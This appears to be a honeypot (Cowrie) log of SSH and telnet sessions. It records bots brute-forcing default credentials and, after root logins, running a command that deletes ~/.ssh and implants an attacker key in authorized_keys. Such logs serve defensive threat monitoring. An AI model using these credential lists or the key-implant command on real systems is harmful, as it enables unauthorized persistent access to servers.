{"eventid":"cowrie.session.closed","duration":0.08787012100219727,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:16:55.830165Z","src_ip":"65.49.20.67","session":"3c3e225fbe40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":52056,"dst_ip":"10.17.0.5","dst_port":22,"session":"2873b2f2e75c","protocol":"ssh","message":"New connection: 92.118.39.56:52056 (10.17.0.5:22) [session: 2873b2f2e75c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:17:27.925781Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:17:28.035666Z","src_ip":"92.118.39.56","session":"2873b2f2e75c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":32972,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbfe4b62d416","protocol":"ssh","message":"New connection: 92.118.39.56:32972 (10.17.0.5:22) [session: fbfe4b62d416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:19:53.509263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:19:53.513883Z","src_ip":"92.118.39.56","session":"fbfe4b62d416","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:19:53.615458Z","src_ip":"92.118.39.56","session":"fbfe4b62d416","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:19:53.917699Z","src_ip":"92.118.39.56","session":"fbfe4b62d416","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:19:55.023614Z","src_ip":"92.118.39.56","session":"fbfe4b62d416","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.1.156","src_port":52842,"dst_ip":"10.17.0.5","dst_port":23,"session":"b31514aaffa5","protocol":"telnet","message":"New connection: 163.7.1.156:52842 (10.17.0.5:23) [session: b31514aaffa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:20:12.586459Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:29.517393Z","src_ip":"163.7.1.156","session":"b31514aaffa5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":76.9336187839508,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:29.519951Z","src_ip":"163.7.1.156","session":"b31514aaffa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.142.8","src_port":59670,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f748601f5e0","protocol":"ssh","message":"New connection: 101.47.142.8:59670 (159.203.135.109:22) [session: 6f748601f5e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:39.425004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:39.429299Z","src_ip":"101.47.142.8","session":"6f748601f5e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:39.675840Z","src_ip":"101.47.142.8","session":"6f748601f5e0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Pass_123","message":"login attempt [root/Pass_123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:40.679257Z","src_ip":"101.47.142.8","session":"6f748601f5e0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:41.198407Z","src_ip":"101.47.142.8","session":"6f748601f5e0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:41.201167Z","src_ip":"101.47.142.8","session":"6f748601f5e0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:41.204771Z","src_ip":"101.47.142.8","session":"6f748601f5e0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:41.451546Z","src_ip":"101.47.142.8","session":"6f748601f5e0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:42.019745Z","src_ip":"101.47.142.8","session":"6f748601f5e0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:42.022492Z","src_ip":"101.47.142.8","session":"6f748601f5e0","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:42.269231Z","src_ip":"101.47.142.8","session":"6f748601f5e0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:42.272743Z","src_ip":"101.47.142.8","session":"6f748601f5e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.142.8","src_port":59676,"dst_ip":"159.203.135.109","dst_port":22,"session":"0719c42fcf03","protocol":"ssh","message":"New connection: 101.47.142.8:59676 (159.203.135.109:22) [session: 0719c42fcf03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:42.509272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:42.513301Z","src_ip":"101.47.142.8","session":"0719c42fcf03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:42.756228Z","src_ip":"101.47.142.8","session":"0719c42fcf03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:43.759681Z","src_ip":"101.47.142.8","session":"0719c42fcf03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:45.006204Z","src_ip":"101.47.142.8","session":"0719c42fcf03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.142.8","src_port":60428,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f658c55910f","protocol":"ssh","message":"New connection: 101.47.142.8:60428 (159.203.135.109:22) [session: 7f658c55910f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:45.244821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:45.249340Z","src_ip":"101.47.142.8","session":"7f658c55910f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:45.494036Z","src_ip":"101.47.142.8","session":"7f658c55910f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:46.496557Z","src_ip":"101.47.142.8","session":"7f658c55910f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:46.741566Z","src_ip":"101.47.142.8","session":"6f748601f5e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:21:46.746123Z","src_ip":"101.47.142.8","session":"7f658c55910f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":39874,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8f18f5a5aa1","protocol":"ssh","message":"New connection: 92.118.39.56:39874 (10.17.0.5:22) [session: f8f18f5a5aa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:22:14.120235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:22:14.124803Z","src_ip":"92.118.39.56","session":"f8f18f5a5aa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:22:14.224550Z","src_ip":"92.118.39.56","session":"f8f18f5a5aa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:22:14.525292Z","src_ip":"92.118.39.56","session":"f8f18f5a5aa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:22:15.645715Z","src_ip":"92.118.39.56","session":"f8f18f5a5aa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":46788,"dst_ip":"10.17.0.5","dst_port":22,"session":"b89ea38acf68","protocol":"ssh","message":"New connection: 92.118.39.56:46788 (10.17.0.5:22) [session: b89ea38acf68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:24:26.069569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:24:26.076413Z","src_ip":"92.118.39.56","session":"b89ea38acf68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:24:26.183079Z","src_ip":"92.118.39.56","session":"b89ea38acf68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:24:26.601225Z","src_ip":"92.118.39.56","session":"b89ea38acf68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:24:27.705138Z","src_ip":"92.118.39.56","session":"b89ea38acf68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":53670,"dst_ip":"10.17.0.5","dst_port":22,"session":"57485f38eb9f","protocol":"ssh","message":"New connection: 92.118.39.56:53670 (10.17.0.5:22) [session: 57485f38eb9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:26:34.351158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:26:34.356306Z","src_ip":"92.118.39.56","session":"57485f38eb9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","r